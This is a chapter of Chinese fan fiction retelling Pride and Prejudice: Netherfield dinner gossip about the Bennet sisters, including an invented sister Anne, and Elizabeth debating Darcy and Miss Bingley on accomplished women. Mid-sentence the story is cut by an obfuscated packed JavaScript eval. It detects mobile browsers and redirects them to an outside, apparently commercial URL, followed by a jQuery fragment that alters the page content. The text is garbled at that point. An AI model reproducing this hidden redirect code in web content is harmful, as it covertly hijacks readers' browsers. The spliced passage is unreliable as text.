伊丽莎白在简的房间里陪了她一整天，晚饭的时候，为了免于失礼于主人家，才下楼来吃饭。
大家在饭桌上纷纷探问简的病情，宾利先生表现得尤为关切。
早些时候，他因为已经和军官们说好了要一起打牌而不得不离开家，却不等吃晚饭就赶了回来，伊丽莎白见了他十分欢喜，老老实实地告诉他，简一点也没好。
“也许我们应该去伦敦请一个医生来。”宾利先生说，他有些拿不定主意，又问伊丽莎白，“可以吗？”
伊丽莎白倒是不反对，但那么做一定会让简因为太过麻烦别人而感到不安，反而不利于她的恢复，于是回答道：“谢谢您的关心，宾利先生，琼斯医生对付重感冒很有一套，我想暂时还用不着那么做。”
吃过饭，伊丽莎白就回到简身边。
她一离开，宾利小姐就开始诽谤她，当然忘不了带上贝内特家的大姐安妮，说这家子姐妹都是一样的没规矩，行事十分不妥当。
赫斯特夫人与宾利小姐不愧是亲姐妹，“她们姐妹中除了简之外，其他人实在泛善可陈。哪个淑女会在刚下过雨的马路上骑马？哦，她们压根儿也算不上是真正的淑女。”她说。
“说的不错，路易莎。她们出现得时候真的难看死了，闹着玩儿一样在冷风里骑马，把自己弄得一身泥水，真是邋遢！乡巴佬！”宾利小姐说，又模仿安妮抖动缰绳的样子，吐舌头做了个鬼脸。
“是呀，还有她们的马。真不敢相信她们家的马能在赛马会上得奖，从来没见过那么脏的马。”赫斯特夫人说。
“事实上她们的马拿了第三名，路易莎，”宾利说，“今天那匹马也很不错，我得说它很勇敢，也很负责任，把两个姑娘带到了目的地，只不过刚下过雨，路上有很多烂泥，谁也不能保持干爽呀。”
赫斯特先生连连点头，说道：“那匹马不错，长得也好，性格也好，你们没看到约翰尼给它刷洗过之后的样子，啧啧！”
“而且两位贝内特小姐今早走进屋里的样子也极其动人。”宾利接着说，“任谁都能看出她们十分担心姐妹，但她们在我们这些外人面前，表现得十足的礼貌。”
“我听说布兰扎德有点儿迷恋她，那个安妮贝内特！”赫斯特先生说完，“吭哧吭哧”地笑了起来。
“雷恩斯比勋爵？”宾利说，“那不奇怪，贝内特大小姐从赛马场上下来的时候人们都疯了！真可惜你没见到那一幕，达西，我敢说，如果王储在哪儿，就用不着贝德福德大公爵出力了。”
“我也不吃惊，布兰扎德那白痴净对些爱惹麻烦的女人瞎起劲。”宾利小姐嘲笑道，又说，“不过他们俩倒是挺般配的。”
赫斯特夫人毫不客气地大笑了起来，她们俩都觉得布兰扎德实在是个蠢东西。
赫斯特先生不自在地动了动身子，伯纳德布兰扎德是他的好朋友。他们是牛津校友，住在同一条街上，是同一家俱乐部的会员，他的管家还帮过赫斯特先生的忙，赫斯特先生刚想开口替朋友说两句，宾利小姐就打断了他：“你一定看见她们那副狼狈样子了吧，达西先生，我想，你总不愿意看见令妹出这种洋相吧。”
“当然不愿意。”达西说。
“这恰恰表明了她们姐妹的手足之情非常感人。”宾利说。他实际上有点儿羡慕，如果是自己生病了，他的姐妹也会很担心，但也许体面比她们对他的挂念更重要。
“简贝内特小姐是挺可爱的，但有那样的父母，又有些那么低贱的亲戚，恐怕在婚事上没什么指望了。”赫斯特夫人说。
“我好像听你说过，她们有个姨父在梅里顿当律师。”宾利小姐马上提醒道。
“是的。她们还有个舅舅，住在伦敦的奇普赛德一带 ，朗博恩的蜂蜜和蜂蜜酒，我的天啊，贝内特家竟然允许自己的姓氏跑到商标上去，真是……相得益彰。”赫斯特夫人又刻薄了一句，引得宾利小姐哈哈大笑。
“即使她们的舅舅多得能塞满奇普赛德街，”宾利嚷道，“也丝毫无损她们的讨人喜爱，而且朗博恩的蜂蜜酒简直供不应求。”
“不过，要想嫁给有地位的男人，机会可就大大减少了，”达西公平地说。
“并不是一点儿也没有。”宾利小声说，盯着自己盘子里剩的一点儿沾了肉汁儿的布丁。
可是他的两个姐妹只顾着听达西的话，又拿贝内特家的低贱亲戚尽情取笑了一番。
简饱受高烧的折磨，直到深夜才睡了过去，伊丽莎白尽管不怎么乐意，还是下楼去看看房子的主人们。
她走进客厅，谢绝了大家打牌的邀请，推说放心不下姐姐，只在楼下待一会儿，不过还是找了本书消遣消遣。
赫斯特先生怪吃惊的。“你宁可看书也不玩牌？”他说着又打出去一张，“真是少见。”他是牌桌上的高手，今天晚上净是他赢钱。
“伊莱扎·贝内特小姐瞧不起打牌的，”宾利小姐讽刺道，“她是个学者，只对读书感兴趣。”
“我可不敢领这样的责备，也不敢领这样的夸赞。我完全是由于意识到自己十分无知，才想要多读点儿书，免得在旁人面前出丑。”伊丽莎白不软不硬地顶了回去。
“达西也很爱读书，他总是一个劲儿地买个不停。”宾利先生有些不好意思地说，“我真希望自己之前也像他那样勤奋，那么你就可以多点选择了，很遗憾，这里可没有几本书可以供你阅读。”
伊丽莎白说：“这已经足够好了。其实做个书呆子又有什么趣味呢？您有这样好的性格和人品，大家都非常爱戴您。”她说完才意识到自己的话对达西先生有所不敬，有心要弥补却又不知道如何开口，只得咬着舌头硬撑。
宾利小姐瞪了伊丽莎白一眼，说道：“查尔斯，可别为自己的懒惰找借口了。达西先生，你在彭伯利的那个书房多气派啊！非常壮观，我可是深受感动呢。”
“没什么好稀奇的，那是好几代人努力的结果，而且书呆子也没什么趣味。”达西干巴巴地说，竟然有些嫉妒宾利。
伊丽莎白的脸一下子就涨红了，羞愧得无地自容。
达西看了心中不忍，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408482|200609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深悔自己方才出言不逊，叫伊丽莎白陷入了尴尬。他轻咳了一声，说：“所以说，我总是非常感激大家的包容。和不会说话的东西待在一起太久了，难免也染上了它们的怪习气。”
“哦，怎么会？”宾利小姐笑着说，“你总是那么的彬彬有礼，什么吹毛求疵的怪人会来挑剔你呢？”她说着，一个劲儿地拿眼风去刮伊丽莎白。
大家打了一会儿牌，宾利小姐又谈起了达西先生的妹妹乔治安娜达西小姐，夸奖她模样俊俏，举止优雅，简直无一处不好，而且小小年纪，就那么多才多艺，尤其是钢琴，弹得棒极了。
宾利和气地说：“年轻的小姐们真了不起，全都那么才华横溢，贝内特小姐，我看令姐的骑术在她那个年纪的人中是最好的，不论男女。向她致敬。”
“谢谢，宾利先生，安妮听到了会非常开心的，”伊丽莎白说。
宾利小姐剜了一眼自己的兄弟，不服气道：“我认为真正的淑女总是样样精通。”
“哦，对，每逢听人头一次谈起某位年轻小姐，总要说她是个全才。”宾利顺着她的话说。
“可我认识的所有女人中，只有极少数是真正的多才多艺，而一般的妇女，只要略懂些家务事，人们就夸奖她多才多艺了。”达西挑剔道。
“确实，一般的女人并不能配得上这样的称赞，除非她言谈举止都完美无缺。”宾利小姐说，显然，她认为自己就是多才多艺而且完美无缺的。
“多少还要有点儿头脑吧。”达西叹了口气说。
这句话听起来像是在说年轻的小姐们脑袋空空，但宾利小姐不这么想，她点头附和道：“确实，一个真正卓越的女人必须精通音律、美术、舞蹈，并且谈吐优雅，举止娴静，既有美貌，又有才干，足以应付各种场合，总而言之，处处都是完美的。”
“哦，听起来更像是一个圣人而不是一个女人。”伊丽莎白慢吞吞地说，“可圣贤之所以是圣贤，是因为他们已经给人挂在墙上了，会喘气儿的东西都不会完美无缺。如果男人们总是肖想一个完美的女人做妻子，恐怕这辈子都结不了婚。幸运的是，在我们的国家，选择结婚的男人还是相当多的。”
这一下可把赫斯特夫人和宾利小姐给得罪了，她们齐齐叫嚷起来，声称自己知道有不少女人是完美的，可她们谁也不好意思说自己就是那个女人，于是很快闭上了嘴。
这还是达西头回见伊丽莎白对人阴阳怪气儿，她反驳了他的话，讽刺了他的择偶标准，还把宾利小姐和赫斯特夫人都贬斥了一顿，但他反而觉得她更可爱了，毕竟，单看头脑这一项，伊丽莎白就胜过旁边的两个女人许多，而且她还那么有主见、那么有幽默感，他暗暗觉得，她就是一个完美的女人。
没过多久，伊丽莎白便离开了他们。
门关上之后，宾利小姐便说：“真是个粗鲁又见识短浅的乡下女人。”
达西恍若未闻，私心里因为旁人都不理解伊丽莎白的好处而沾沾自喜，又可惜她处处都合他心意，却是那样的社会地位，有那样的亲戚。